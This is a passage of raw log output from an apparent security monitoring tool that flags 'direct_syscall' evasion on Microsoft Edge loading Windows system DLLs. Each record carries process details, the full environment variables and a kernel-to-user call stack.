(x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174620 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5685278 +0100 CET + Params: base_address➜ 7ffcbb0a0000, checksum➜ 263379, default_address➜ 7ffcbb0a0000, file_path➜ C:\Windows\System32\CorePrivacySettingsStore.dll, image_size➜ 196608, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffccc2654e2 C:\Windows\System32\DiagnosticDataSettings.dll!TelSetLocalTelemetrySetting|0x7ffccc261f6f C:\Windows\System32\DiagnosticDataSettings.dll!?|0x7ffccc264b12 C:\Windows\System32\DiagnosticDataSettings.dll!TelSetLocalTelemetrySetting|0x7ffccc2633fb C:\Windows\System32\DiagnosticDataSettings.dll!?|0x7ffccc263906 C:\Windows\System32\DiagnosticDataSettings.dll!TelEvaluateActiveSettingAuthority|0x7ffccc263a39 C:\Windows\System32\DiagnosticDataSettings.dll!TelGetAllAllowedTelemetryTypes|0x7ffc9ffab23f C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll!DllGetClassObject|0x7ffc8ce60fd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175139 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7479623 +0100 CET + Params: base_address➜ 7ffcdaeb0000, checksum➜ 245008, default_address➜ 7ffcdaeb0000, file_path➜ C:\Windows\System32\userenv.dll, image_size➜ 176128, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b6828d8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cf71e4d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71b2b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71aab C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a17 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175184 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7498809 +0100 CET + Params: base_address➜ 7ffcdae70000, checksum➜ 219860, default_address➜ 7ffcdae70000, file_path➜ C:\Windows\System32\gpapi.dll, image_size➜ 204800, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdbc31fa2 C:\Windows\System32\KernelBase.dll!GetSecurityDescriptorLength|0x7ffcdbc5f449 C:\Windows\System32\KernelBase.dll!time|0x7ffcdbc393b4 